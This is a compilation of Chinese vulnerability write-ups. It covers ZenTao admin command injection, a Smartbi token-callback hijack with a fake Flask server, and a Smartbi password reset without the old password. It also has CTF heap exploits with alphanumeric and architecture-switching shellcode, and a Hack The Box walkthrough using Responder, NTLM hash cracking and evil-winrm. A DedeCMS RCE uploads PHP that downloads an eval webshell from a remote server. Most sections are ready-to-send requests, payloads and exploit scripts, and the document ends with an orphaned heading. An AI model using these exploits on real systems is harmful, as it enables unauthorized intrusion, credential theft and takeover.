禅道后台命令执行漏洞
漏洞简介 禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、 组织管理和事务管理于一体,是一款专业的研发项目管理软件,完整地覆盖了项目管理的核心流程。 禅道管理思想注重实效,功能完备丰富,操作简洁高效,界面美观大方,搜索功能强大,统计报表丰富多样,软件架构合理,扩展灵活,有完善的 API 可以调用。 禅道后台存在 RCE 漏洞,均存在于历史版本,对这些漏洞进行复现分析。 环境搭建 源码下载地址 https://dl.cnezsoft.com/zentao/18.0.beta1/ZenTaoPMS.18.0.beta1.php7.2_7.4.zip 利用 phpstudy 来进行环境的搭建 ‍ 漏洞复现 登录后台创建 GitLab 类型的代码库 点击 DevOps 模块的设置选项,修改创建的代码库 点击保存并抓取数据包 修改参数 SCM 和 client SCM 修改为 Subversion client 修改为 calc | echo " 触发了命令执行,执行了两次 #### 漏洞分析 发现有一些分析文章中描述需要先创建一个代码仓库,也指出了创建代码仓库的原因,因为调用的是 edit 方法,所以要先 create 经过调试发现这是必须的,因为在没创建代码库时,执行 edit 方法,会提示跳转去创建代码库 module/repo/control.php#commonAction 所以需要先创建代码库 module/repo/control.php#create module/repo/model.php#create 在创建代码库的时候有一个检查 Client 的操作 只有选择 Gitlab 才能不做客户端的检测操作,直接创建成功 module/repo/model.php#checkClient 创建成功后执行编辑操作触发漏洞 POST /index.php?m=repo&f=edit&repoID=0 HTTP/1.1 Host: test.test Content-Length: 36 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://test.test Referer: http://test.test/index.php?m=repo&f=edit&repoID=1&objectID=0 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; windowWidth=1440; windowHeight=722; tab=devops; repoBranch=master;XDEBUG_SESSION=PHPSTORM Connection: close SCM=Subversion&client= calc | echo " module/repo/control.php#edit module/repo/model.php#update module/repo/model.php#checkConnection 修复建议 更新至最新版本 ‍
smartbi token回调获取登录凭证漏洞
2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。 0x01分析结果 依据补丁分析,得到如下漏洞复现步骤 第一步,设置EngineAddress为攻击者机器上的http服务地址 首先使用python flask搭建一个fake server,上面只注册了/api/v1/configs/engine/smartbitoken接口,该接口返回一个json响应体 from flask import Flask,jsonify,request app = Flask(__name__) @app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"]) def hello():    print(request.json)    return jsonify(hi="jello") if __name__ == "__main__":    app.run(host="0.0.0.0",port=8000) 使用如下poc,设置EngineAddress为我们的fake server地址http://10.52.32.43:8000, POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1 Host: 127.0.0.1:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 23 http://10.52.32.43:8000 第二步,触发smartbi向我们刚刚设置的EngineAddress外发token 发送如下请求 POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1 Host: 127.0.0.1:18080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 10 experiment 发送相关请求后,即可在我们的fake server上面看到了携带token的请求 第三步,使用上面获取的token进行登录 POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1 Host: 127.0.0.1:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 47 admin_I8ac3b2d10189e80fe80fea750189ed0084f50082 返回true表示登录成功,其中的cookie就是合法的凭证 0x02分析过程 阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setServiceAddress有关 更进一步查看RejectSmartbixSetAddress类修补的方式,可知与smartbix.datamining.service.MonitorService类的getToken方法有关,该补丁表示如果系统中smartbix.datamining.service.MonitorService存在getToken方法就进行拦截/smartbix/api/monitor/setEngineAddress等一系列接口的请求。 分析smartbix.datamining.service.MonitorService类从头部的注解可知,该类下的所有路由都不需要认证即可访问 定位到getToken方法该方法对应的路由的/token,方法内部生成一个token,并在输入的type参数为experiment是将该token发送到系统配置中配置的ENGINE_ADDRESS 这意味着,只要ENGINE_ADDRESS可控,那么我们就能获取到一个合法的token 由补丁包的路由/smartbix/api/monitor/setServiceAddress定位到setEngineAddress方法可知该方法可以未授权配置ENGINE_ADDRESS 那意味着,只需要调用/smartbix/api/monitor/setServiceAddress接口,将ENGINE_ADDRESS设置为我们可控的伪造服务器,那么就可以从请求报文中获取到token。(这个位置经过尝试,发现伪造服务器上需要实现使用POST方法请求的/api/v1/configs/engine/smartbitoken接口,并且,响应内容为json)获取完token后,就可调用/smartbix/api/monitor/login方法进行登录 0x03其他说明 上述只说明了设置ENGINE_ADDRESS利用的情况,设置SERVICE_ADDRESS进行利用的步骤也和上述类似
ASCII码-shellcode的技巧
网上已经有成熟的工具了,所以就简单记录一下工具怎么用吧 https://github.com/TaQini/alpha3https://github.com/veritas501/ae64.githttps://github.com/rcx/shellcode_encoder结合题目来看吧,没有开启NX保护,基本这类型题目九成九都是shellcode题 程序一开始会让我们在bss段上输入数据,并且判断输入的字符大小是否小于0x1F,再结合NX保护没开启的操作,很容易可以想到此时输入的就是shellcode,而每个字节的不能小于0x1F,那么使用ASCII码shellcode就可以完全绕过了,因为小于0x1F的都是不可见字符 接着再来看题目存在的漏洞,题目存在很明显的UAF漏洞 在选项5中则是留有触发shellcode的条件,只要dword_602440不为0则直接指向我们输入的shellcode,而dword_602440位于bss段,因此默认就为0 而在add函数中,分配堆块又恰好都在unsortbin的范围内,那么思路很清楚了,就是使用unsortbin修改dword_602440的值,那么就能触发shellcode 剩下就是shellcode如何绕过0x1F这个限制,可以看到syscal是\xf\x5,因此syscal都无法绕过这个限制 这里使用ae64这个工具 首先将需要修改的shellcode以二进制的形式导出,这里直接用pwntools生成的shellcode即可 from ae64 import AE64 from pwn import * context.arch='amd64' # get bytes format shellcode shellcode = asm(shellcraft.sh()) # get alphanumeric shellcode f = open('shellcode','wb+') f.write(shellcode) f.close() 接着使用ae64的库直接修改为ASCII码shellcode from pwn import * from ae64 import AE64 context.arch = 'amd64' obj = AE64() sc = obj.encode(asm(shellcraft.sh()),'rdx') print(sc) 这里rdx即为shellcode执行的时候call的寄存器 然后就可以生成shellcode了 紧接着拿这段生成的shellcode就可以绕过了 exp from pwn import * sh = process("./pwn") context(arch='amd64') def add(size): sh.recvuntil(" choice:") sh.sendline("1") sh.recvuntil(" message?") sh.sendline(str(size)) def delete(index): sh.recvuntil(" choice:") sh.sendline("2") sh.recvuntil("o be deleted?") sh.sendline(str(index)) def edit(index,content): sh.recvuntil(" choice:") sh.sendline("3") sh.recvuntil(" be modified?") sh.sendline(str(index)) sh.recvuntil("t of the message?") sh.sendline(content) def show(index): sh.recvuntil(" choice:") sh.sendline("4") sh.recvuntil(" to be showed?") sh.sendline(str(index)) def exp(): sh.recvuntil(" choice:") sh.sendline("5") payload = "RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP" sh.send(payload) add(0x81) add(0x81) delete(0) edit(0, p64(0) + p64(0x602440 - 0x10)) add(0x81) exp() sh.interactive() 机器切换-shellcode 有时候会遇到题目需要同时使用32位shellcode与64位shellcode,那么如何进行机器切换则成为解题的关键。 CS寄存器则是用于标记机器位数的关键寄存器 CS=0x33,64位 CS=0x23,32位 那么如何修改CS寄存器的值,则需要通过retfq与retf的指令 refq,从64位切换到32位 push 0x23; #32位的CS寄存器的值 push 0xxx; #需要跳转的地址 retfq; #从32位切换到64位 ref,从32位切换至64位 push 0x33; #64的CS寄存器的值 push 0xxx; #需要跳转的地址 retf; #从64位切换到32位 再以一道题目作为例子,保护如下,还是没有开启NX保护 题目漏洞在于,再add函数中可申请11个堆块,而题目中给堆块地址容纳的个数为10,因此申请的第11个堆块的地址则会到length中,从而导致第1个堆块的大小变成了堆块的地址值,造成了堆溢出。 这里有个需要注意的地方是会首先检测存放堆块的位置是否为0,为0才会给该堆块申请的机会,因此第1个堆块的大小必须设置为0,才能够申请到11个堆块。 题目还是用mallopt修改了fastbin的大小为0x10,因此使得无法释放的堆块无法放置到fastbin中,但是mallopt实际是修改了max_global_fast的大小 但是题目存在堆溢出漏洞,因此使用修改Unsortbin的bk指针,修改global_max_fast的即可,这样就可以让堆块放进fastbin中了。 并且允许在bss段上输入数据,且该地址刚好在存放堆块地址的上方,因此伪造虚假堆块在该位置就可以完成任意地址写了。 紧接着修改free函数的got表地址为堆块地址,就可以跳转到shellcode中执行,可以看到堆块地址也是具有可执行权限的。 查看一下禁用了哪些函数,发现只能用read,write以及fstat函数,但是fstat函数对于这道题来说没有用。那么没有open函数,我们就没办法进行orw的利用了。 可以看到fstat函数的64位的系统调用号为5 但是32位下的系统调用号5为open函数 那么如果能切换到32位下执行系统调用为5的系统调用,即可完成open函数的执行,这里就要用到上述的方法使用ref与refq指令完成机器位数的切换。 这里需要注意两个点 (1)在切换为机器位数之后栈顶的地址会被截断为4个字节,因此需要重新调整一下栈顶的地址 (2)在机器位数切换为32位时,在执行系统调用还是会显示原来的函数,但是这个是gdb显示错误,它实际被修改为open函数了 exp from pwn import * #sh = process("./pwn") elf = ELF("pwn") def user(name,desc): sh.recvuntil("choice:") sh.sendline("0") sh.recvuntil(" name?") sh.send(name) sh.recvuntil("desc?") sh.send(desc) def add(size): sh.recvuntil("choice:") sh.sendline("1") sh.recvuntil(" message?") sh.send(str(size)) def delete(index): sh.recvuntil("choice:") sh.sendline("2") sh.recvuntil(" be deleted?") sh.send(str(index)) def edit(index, offset, content): sh.recvuntil("choice:") sh.sendline("3") sh.recvuntil("ssage to be modified?") sh.send(str(index)) sh.recvuntil("message to be modified?") sh.send(str(offset)) sh.recvuntil("ent of the message?") sh.send(content) while(1): try: sh = process("./pwn") add(0) #0 add(0) #1 add(0x60) for i in range(8): add(0x71) delete(1) payload = p64(0)*3 + p64(0x21) + p64(0) + p16(0x37f8 - 0x10) edit(0,0,payload) add(9) delete(2) delete(3) delete(4) delete(5) user('a'*0x10+p64(0)+p64(0x71),'b') target = 0x6020f0 payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(target) edit(0,0,payload) add(0x60)#2 sh.recvuntil("Ptr: ") addr = int("0x"+sh.recv(6),16) log.info("addr:"+hex(addr)) add(0x60)#3 edit(3,0,p64(elf.got['free'])) payload = asm('push 0x23;push '+hex(addr+9)+';retfq', arch='amd64') payload += asm('mov esp, '+hex(target+0x50)+';push 0x6761;push 0x6c662f2e;push esp;pop ebx; xor ecx,ecx; mov eax,5; int 0x80',arch='i386') payload += asm('push 0x33;push '+hex(addr+0x2b)+';retf') payload += asm('mov rdi,rax; mov rsi,0x602080;mov rdx, 0x100;mov rax, 0;syscall;',arch='amd64') payload += asm('mov rdi,1;mov rax ,1;syscall;',arch='amd64') edit(2,0,payload) edit(0,0,p64(addr)) #attach(sh,'b*'+str(addr)) delete(6) sh.interactive() except: continue
Responder与evil-winRM配合远程登录Windows
0x01.evil-winRM 0x01.1概述 在使用和介绍Responder之前,先来了解一下evil-winRM: evil-winrm是Windows远程管理(WinRM) Shell的终极版本。 Windows远程管理是WS 管理协议的 Microsoft 实施,该协议是基于标准 SOAP、不受防火墙影响的协议,允许不同供应商的硬件和操作系统相互操作。而微软将其包含在他们的系统中,是为了便于系统管理员在日常工作中,远程管理服务器,或通过脚本同时管理多台服务器,以提高他们的工作效率。 此程序可在启用此功能的任何Microsoft Windows服务器上使用(通常端口为5985),当然只有在你具有使用凭据和权限时才能使用。因此,我们说它可用于黑客攻击的后利用/渗透测试阶段。相对于攻击者来说,这个程序能为他们提供更好更简单易用的功能。当然,系统管理员也可以将其用于合法目的,但其大部分功能都集中于黑客攻击/渗透测试。 0x01.2安装和使用 安装: 方法一 sudo apt install evil-winrm 方法二: git clone https://github.com/Hackplayers/evil-winrm.git 方法三: gem install evil-winrm 使用: 首先查看帮助文档 root@kali:~# evil-winrm -h Evil-WinRM shell v3.5 用法:evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r 领域] [--spn SPN_PREFIX] [-l]     -S, --ssl 启用 ssl     -c, --pub-key PUBLIC_KEY_PATH 公钥证书的本地路径     -k, --priv-key PRIVATE_KEY_PATH 私钥证书的本地路径     -r, --realm DOMAIN Kerberos auth,还必须使用此格式在 /etc/krb5.conf 文件中设置 -> CONTOSO.COM = { kdc = fooserver.contoso.com }     -s, --scripts PS_SCRIPTS_PATH Powershell 脚本本地路径         --spn SPN_PREFIX Kerberos 身份验证的 SPN 前缀(默认 HTTP)     -e, --executables EXES_PATH C# 可执行文件本地路径     -i, --ip IP 远程主机IP或主机名。 Kerberos 身份验证的 FQDN(必需)     -U, --url URL 远程 url 端点(默认 /wsman)     -u, --user USER 用户名(如果不使用 kerberos,则需要)     -p, --password PASS 密码     -H, --hash HASH NTHash     -P, --port PORT 远程主机端口(默认5985)     -V, --version 显示版本     -n, --no-colors 禁用颜色     -N, --no-rpath-completion 禁用远程路径完成     -l, --log 记录 WinRM 会话     -h, --help 显示此帮助消息 0x02.Responder 0x02.1 概念 响应 LLMNR、NBT-NS 和 MDNS 投毒者。 它将根据名称后缀回答特定的 NBT-NS(NetBIOS 名称服务)查询(请参阅:http://support.microsoft.com/kb/163409)。默认情况下,该工具将仅响应适用于 SMB 的文件服务器服务请求。 0x02.2 特性 内置 SMB 身份验证服务器 默认情况下支持具有扩展安全性 NTLMSSP 的 NTLMv1、NTLMv2 哈希。 已成功测试从 Windows 95 到 Server 2012 RC、Samba 和 Mac OSX Lion。 NT4 支持明文密码,当设置--lm选项时,LM 哈希降级。该工具启动时默认启用此功能。 内置 MSSQL 身份验证服务器 为了将 SQL 身份验证重定向到此工具,您需要为 Windows Vista 之前的系统设置选项 -r(用于 SQL Server 查找的 NBT-NS 查询使用工作站服务名称后缀)(LLMNR 将用于 Vista 和 更高)。 该服务器支持 NTLMv1、LMv2 哈希。 此功能已在 Windows SQL Server 2005 和 2008 上成功测试。 内置 HTTP 身份验证服务器 为了将 HTTP 身份验证重定向到此工具,您需要为早于 Vista 的 Windows 版本设置选项 -r(用于 HTTP 服务器查找的 NBT-NS 查询使用工作站服务名称后缀发送)。 对于 Vista 及更高版本,将使用 LLMNR。 该服务器支持 NTLMv1、NTLMv2 哈希和基本身份验证。 该服务器已在 IE 6 至 IE 10、Firefox、Chrome、Safari 上成功测试。 注意:此模块也适用于从 Windows WebDav 客户端 (WebClient) 发出的 WebDav NTLM 身份验证。 您现在可以将自定义文件发送给受害者。 内置 HTTPS 身份验证服务器 与上面相同。 文件夹 certs/ 包含 2 个默认密钥,其中包括一个虚拟私钥。 这是故意的,目的是让 Responder 开箱即用。 添加了一个脚本,以防您需要生成自己的自签名密钥对。 内置 LDAP 身份验证服务器 为了将 LDAP 身份验证重定向到此工具,您需要为早于 Vista 的 Windows 版本设置选项 -r(用于 HTTP 服务器查找的 NBT-NS 查询使用工作站服务名称后缀发送)。 对于 Vista 及更高版本,将使用 LLMNR。 该服务器支持 NTLMSSP 哈希和简单身份验证(明文身份验证)。 该服务器已在 Windows 支持工具"ldp"和 LdapAdmin 上成功测试。 内置 FTP、POP3、IMAP、SMTP 身份验证服务器 该模块将收集明文凭据 内置 DNS 服务器 该服务器将回答 A 类查询。 当它与 ARP 欺骗结合起来时,这真的很方便。 内置 WPAD 代理服务器 如果启用了“自动检测设置”,此模块将捕获网络上启动 Internet Explorer 的任何人的所有 HTTP 请求。 该模块非常有效。 您可以在 Responder.conf 中配置自定义 PAC 脚本,并将 HTML 注入服务器的响应中。 请参阅 Responder.conf。 浏览器监听器 该模块允许在隐身模式下找到 PDC。 指纹识别 当使用选项 -f时,响应程序将对发出 LLMNR/NBT-NS 查询的每个主机进行指纹识别。 所有采集模块在指纹模式下仍然可以工作。 ICMP 重定向 python tools/Icmp-Redirect.py 适用于 Windows XP/2003 及更早版本上的 MITM 域成员。 这种攻击与 DNS 模块相结合非常有效。 流氓 DHCP python tools/DHCP.py DHCP 通知欺骗。 允许您让真正的 DHCP 服务器发布 IP 地址,然后发送 DHCP Inform 应答以将您的 IP 地址设置为主 DNS 服务器,以及您自己的 WPAD URL。 分析模式 该模块允许您查看网络上的 NBT-NS、BROWSER、LLMNR、DNS 请求,而不会破坏任何响应。 此外,您还可以被动映射域、MSSQL 服务器、工作站,看看 ICMP 重定向攻击在您的子网上是否可行。 0x02.3 Responder欺骗原理 在使用Responder之前,我们要先了解windwos默认开启的三种协议,这三种协议分别是链路本地多播名称解析(LLMNR)、名称服务器(NBNS) 协议和多播DNS(mdns)协议。 LLMNR 链路本地多播名称解析(LLMNR)是一个基于域名系统(DNS)数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。Windows 操作系统从 Windows Vista开始就内嵌支持,Linux系统也通过systemd实现了此协议。它通过UDP 5355端口进行通信,且LLMNR支持IPV6。 NBNS 网络基本输入/输出系统(NetBIOS) 名称服务器(NBNS) 协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法。通过UDP 137端口进行通信,但NBNS不支持IPV6。 mDNS 在计算机网络中 ,多播DNS( mDNS )协议将主机名解析为不包含本地名称服务器的小型网络中的IP地址。 它是一种零配置服务,使用与单播域名系统(DNS)基本相同的编程接口,数据包格式和操作语义。 虽然Stuart Cheshire将mDNS设计为独立协议,但它可以与标准DNS服务器协同工作。它通过UDP 5353端口进行通信,且mDNS也支持IPV6。 目前仅有windows 10以上的系统支持mdns,经测试发现,禁用了llmnr后mdns也会被禁用。 总的来说,以上几种协议在windows中都是默认启用的,主要作用都是在DNS服务器解析失败后,尝试对windows主机名称进行解析,正因为默认启用、且实现方式又类似于ARP协议,并没有一个认证的过程,所以就会引发各种基于这两种协议的欺骗行为,而Responder正是通过这种方式,欺骗受害机器,并使受害机器在后续认证中发送其凭证。 0x02.4 使用方法 root@kali:~#responder -h 用法:responder -I eth0 -w -d 或者: responder -I eth0 -wd 选项:   --version 显示程序的版本号并退出   -h, --help 显示此帮助消息并退出   -A, --analyze 分析模式。 此选项允许您查看NBT-NS,                         BROWSER、LLMNR 请求没有响应。   -I eth0,--接口=eth0                         要使用的网络接口,可以使用“ALL”作为                         所有接口的通配符   -i 10.0.0.21,--ip=10.0.0.21                         要使用的本地 IP(仅适用于 OSX)   -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed                         使用其他 IPv6 地址对所有请求进行毒害                         响应者之一。   -e 10.0.0.22, --externalip=10.0.0.22                         使用其他 IP 地址毒害所有请求                         响应者之一。   -b, --basic 返回基本 HTTP 身份验证。 默认值:NTLM   -d, --DHCP 启用 DHCP 广播请求的应答。 这                         选项将在 DHCP 响应中注入 WPAD 服务器。                         默认值:假   -D, --DHCP-DNS 该选项将在 DHCP 中注入 DNS 服务器                         响应,否则将添加 WPAD 服务器。                         默认值:假   -w, --wpad 启动 WPAD 恶意代理服务器。 默认值为                         错误的   -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY                         恶意 WPAD 代理使用的上游 HTTP 代理                         传出请求(格式:主机:端口)   -F, --ForceWpadAuth 对 wpad.dat 文件强制进行 NTLM/Basic 身份验证                         恢复。 这可能会导致登录提示。 默认:                         错误的   -P, --ProxyAuth 强制 NTLM(透明)/基本(提示)                         代理的身份验证。 WPAD 不需要                         在。 这个选项非常有效。 默认值:假   --lm 强制 Windows XP/2003 和 LM 哈希降级                         早些时候。 默认值:假   --disable-ess 强制 ESS 降级。 默认值:假   -v, --verbose 增加详细程度。 0x03 靶场实战--Responder与evil-winRM配合远程登录windows 测试环境: kali (攻击机)   192.168.154.128 vpn接入内网环境: ip -> 10.10.14.115 HTB靶机 windows 10 (受害机) 10.129.48.161 开启靶机 前置的步骤简单过一下: TASK 1 When visiting the web service using the IP address, what is the domain that we are being redirected to? unika.htb 直接curl探测一下就行 访问域名需要在本地的hosts文件就行一个配置: TASK 2 Which scripting language is being used on the server to generate webpages? PHP 直接使用wappalyzer插件即可 TASK 3 What is the name of the URL parameter which is used to load different language versions of the webpage? page 查看网页源代码: TASK 4 Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe" ../../../../../../../../windows/system32/drivers/etc/hosts 这里熟悉文件包含漏洞(FI)师傅能直接get到点: TASK 5 Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe" //10.10.14.6/somefile 这里和上一问同理 TASK 6 What does NTLM stand for? NT (New Technology) LAN Manager (NTLM) 查阅Wiki百科就行(可以往下深入了解,这是内网的开始...... TASK 7 Which flag do we use in the Responder utility to specify the network interface? -I 通过上面的帮助文档可以知道 TASK 8 There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?. John the Ripper 也是查阅Wiki百科即可 本文的关键操作,可直接跳至此处 接下来将是本文的重点操作: 首先查看一下自身ip(vpn),并开启监听 开启监听:responder -I tun0 -w -d 接着利用web端的远程文件包含漏洞(RFI)访问我自身(10.10.14.115)的任意文件,进行一个Hash泄露 payload: http://unika.htb/index.php?page=//10.10.14.115/somefile Responder就可以捕获到来自受害机(10.129.48.161)带有用户的密码(password)的Hash值 Administrator::RESPONDER:9baf19c29ef21567:761FED4C7E3DB9BCFEF3E747E797B10D:010100000000000000E56ED168C8D901D119B9B66118B37A00000000020008004E0044004200450001001E00570049004E002D004C004C0047004200590033003100340035005800510004003400570049004E002D004C004C004700420059003300310034003500580051002E004E004 将这段字符串保存到一个txt文件中,接下来使用JHON进行一个Hash爆破: john -w=/usr/share/wordlists/rockyou.txt admin.txt 能够获取到Administrator用户的密码为:badminton TASK 9 What is the password for the administrator user? badminton TASK 10 We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on? 5985 使用nmap进行一个开放端口探测即可: nmap -p- --min-rate 1000 -sV 10.129.48.161 拿到用户的账户和密码之后就到了一开始所提到的evil-winRM的使用了 evil-winrm -i 10.129.48.161 -u administrator -p badminton 这样就可以远程登录windows服务器啦,接下来我们能做到的事儿有很多。 第一步肯定是找题目需要的flag 找到我们需要的flag文件只是最基础的,别着急提交,不然就浪费这个练习工具的好机会了 可以多试试几个命令: menu:加载Invoke-Binary和l04d3r-LoadDll函数。当加载ps1时,会显示其所有功能。 download:下载远程文件到本地,如果远程文件在当前目录中,则不需要local_path。 download local_path remote_path 这里可以尝试一下下载flag.txt upload:从本地(kali)上传文件到目标机器,如果本地文件与evil-winrm.rb文件位于同一目录中,则不需要remote_path。 upload local_path remote_path 这里可以试着传一个txt文件 Invoke-Binary:允许在内存中执行从c#编译的exe。该名称可使用tab键自动补全,最多允许3个参数。可执行文件必须在-e参数设置的路径中。 这里由于我在连接时并未指定exe的路径所以这里没法正常执行命令。 services:列出所有服务(无需管理员权限) 加载 powershell 脚本 要加载ps1文件,你只需键入名称(可以使用tab自动补全)。脚本必须位于-s参数中设置的路径中。再次键入menu并查看加载的功能。 这里我没指定路径所以是没有powershell脚本的,所以没法正常演示。 最后 本次的分享就到这儿结束了,当然还有很多的操作和细节没有能够展示到,后续就留给师傅们去探索了。
Smartbi 修改用户密码漏洞
漏洞简介 通过查看 Smartbi 的补丁包信息,发现存在漏洞在某种特定情况下修改用户的密码,进行简单的复现和分析 漏洞复现 在页面上修改密码时,需要知道原本的用户对应的密码 直接构造这样的数据包,就不需要知道原本的密码,知道用户名就可以修改密码 POST /smartbi/vision/RMIServlet HTTP/1.1 Host: 192.168.222.133:18080 Content-Length: 73 Cache-Control: max-age=0 If-Modified-Since: 0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: */* Origin: http://192.168.222.133:18080 Referer: http://192.168.222.133:18080/smartbi/vision/index.jsp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=4A4AC06EC1DF3CDDC45239C211926FA1 Connection: close className=UserService&methodName=changePasswordEx&params=["admin","","1"] 漏洞分析 smartbi.usermanager.ILocalUserManagerModule#changePasswordEx smartbi.usermanager.UserManagerModule#changePasswordEx 修改密码的操作虽然获取了用户名 原本的密码 修改后的新密码,但是对原本的密码并没有做任何校验处理 userId 是根据传入的用户名查询到的 smartbi.usermanager.UserManagerModule#updateUserEx smartbi.usermanager.UserManagerModule#updateUserExtend 漏洞修复 上传补丁包后再发送数据包,发现被拦截 ‍ 匹配到对应的类名和方法就结束执行
Dedecms V110最新版RCE---Tricks
前言 刚发现Dedecms更新了发布版本,顺便测试一下之前的day有没有修复,突然想到了新的tricks去实现RCE。 文章发布的时候估计比较晚了,一直没时间写了。 利用 /uploads/dede/article_string_mix.php /uploads/dede/article_template_rand.php /uploads/dede/sys_task.php ...... 我发布的文档->>>>添加文档->>>>站内选择进行文件上传 /uploads/dede/content_list.php](http://dedecms.xyz:8066/uploads/dede/content_list.php?mid=1) /uploads/dede/catalog_do.php?channelid=0&cid=0&dopost=addArchives 文件上传 在vps上起一个http的服务,端口设置为8016 远程服务器存放shell.php,文件内容为 <?php @eval ($_POST ['a']);?> 准备一个图片格式的文件,文件内容为,这里我上传的文件名称为f.png <? copy("http://192.168.225.40:8016/shell.php","shell.php");?> 上传成功后可以看到上传的图片的位置 修改文件名为b.php 保存发现png图片已成功被更改,访问b.php,从远程vps下载了shell.php,当前目录下存在一个名称为shell.php的木马文件 利用webshell进行命令执行。 成功执行了命令 思考 如果不考虑文件上传后缀名绕过方法,仅以上面图片格式的文件上传的话,那么无所谓上传的什么内容,因为本身来讲dede的代码中对文件内容是做的有校验的 所以文件内有两种绕过方法 正则绕过 disable函数绕过 简单搜索了一下各个平台的文章,其实是有师傅正则绕过实现webshell的。第二点儿,disable函数绕过,往前几个版本,有兴趣的可以看一下源码,之前利用全局变量Globals绕过 代码内容 <?php $a = $GLOBALS["_GET"]; $b = $GLOBALS["_GET"]; $a['test1']($b['test2']) ?> 命令执行 http://dedecms.org:8016/uploads/shell.php?test1=assert&&test2=system(%22ipconfig%22);&&成功执行命令,且该命令执行为未授权命令执行。 所以在官方前几个版本中已经更新了,添加进了禁用方法 所以在绕过禁用方法上来讲更容易一点儿。所以在利用上这里利用了copy函数的特性,那么这里提醒一下,其它的函数当然也可以满足效果。
条件竞争漏洞Double Fetch
